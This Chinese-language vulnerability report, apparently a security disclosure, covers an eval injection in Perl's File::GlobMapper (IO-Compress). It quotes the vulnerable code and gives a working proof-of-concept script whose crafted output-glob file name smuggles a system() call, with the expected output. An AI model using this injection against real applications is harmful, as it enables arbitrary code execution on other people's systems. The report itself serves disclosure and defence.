File::GlobMapper::_getFiles() 中存在一个 eval 注入漏洞,允许任何能够控制传递给 IO::Compress::Gzip::gzip()、IO::Compress::Zip::zip() 或任何同类函数的输出文件通配符参数的攻击者,在运行进程的上下文中执行任意 Perl 代码。无需认证。影响是全面的:主机进程的机密性、完整性和可用性完全受损。
File::GlobMapper::_parseOutputGlob() 通过将调用者提供的输出模式包裹在 Perl 双引号中并将结果存储来构建输出文件名模板。然后 _getFiles() 将该字符串直接传递给 eval,没有任何清理:
lib/File/GlobMapper.pm:316–321
$string =~ s/${noPreBS}#(\d)/\${$1}/g;
$string =~ s#${noPreBS}\*#\${inFile}#g;
$string = '"' . $string . '"'; # wrapped in double-quotes
$self->{OutputPattern} = $string; # stored verbatim — no escaping
lib/File/GlobMapper.pm:342
eval "\$outFile = $self->{OutputPattern};" ; # executed — injection point
每当 IO::Compress::* / IO::Uncompress::* 函数的 输入和输出参数都是文件通配符字符串(由 < > 分隔)时,File::GlobMapper 会被自动调用。这是一种文档化的常见调用约定。受影响的函数包括 gzip、zip、bzip2、deflate、rawdeflate 以及所有对应的 IO::Uncompress::* 函数。
任何能闭合周围双引号 Perl 字符串的字符——字面量 "、反引号、${...} 或 @{...}——后跟任意 Perl 代码都会被原样执行。
保存为 poc.pl 并使用 perl poc.pl 运行:
#!/usr/bin/perl
use strict;
use warnings;
use File::Temp qw(tempdir);
use IO::Compress::Gzip qw(gzip);
my $dir = tempdir(CLEANUP => 1);
my $sentinel = "/tmp/CVE_GlobMapper_RCE_$$";
# Create a legitimate input file that the input glob will match
open my $fh, '>', "$dir/test.txt" or die $!;
print $fh "data\n";
close $fh;
my $malicious = qq(<$dir/out.gz"; system("touch $sentinel"); #>);
print "Sentinel before: ", (-e $sentinel ? "EXISTS" : "absent"), "\n";
eval { gzip "<$dir/*.txt>" => $malicious };
if (-e $sentinel) {
print "EXPLOITED — arbitrary command executed via eval injection\n";
print "Sentinel: $sentinel\n";
unlink $sentinel;
} else {
print "Did not fire (check error: $@)\n";
}
预期输出:
Sentinel before: absent
EXPLOITED — arbitrary command executed via eval injection
Sentinel: /tmp/CVE_GlobMapper_RCE_<pid>
已在 IO-Compress 2.219 / Perl 5.40.1 / Ubuntu 26.04 上确认。
这是一个远程代码执行漏洞。任何接受用户输入并将其作为输出文件通配符参数传递给任何 IO::Compress::* 函数的 Web 应用程序、API 服务、CLI 工具或批处理流水线都会受到影响。注入的代码以调用进程的完全权限运行。
受影响的人员: 使用 IO::Compress::* 函数并采用文件通配符调用约定,且输出模式来自不可信输入的 Perl 应用程序的开发和运维人员——例如来自 Web 表单、REST API 参数、CLI 参数或由非特权用户控制的配置文件中的文件名模板。
在 setuid 或特权守护进程的上下文中,漏洞利用会导致以提升的权限级别执行代码。该漏洞自 File::GlobMapper 初始版本(≈ 2005)以来就一直存在,并且存在于每个附带 perl 包的 Linux 发行版中。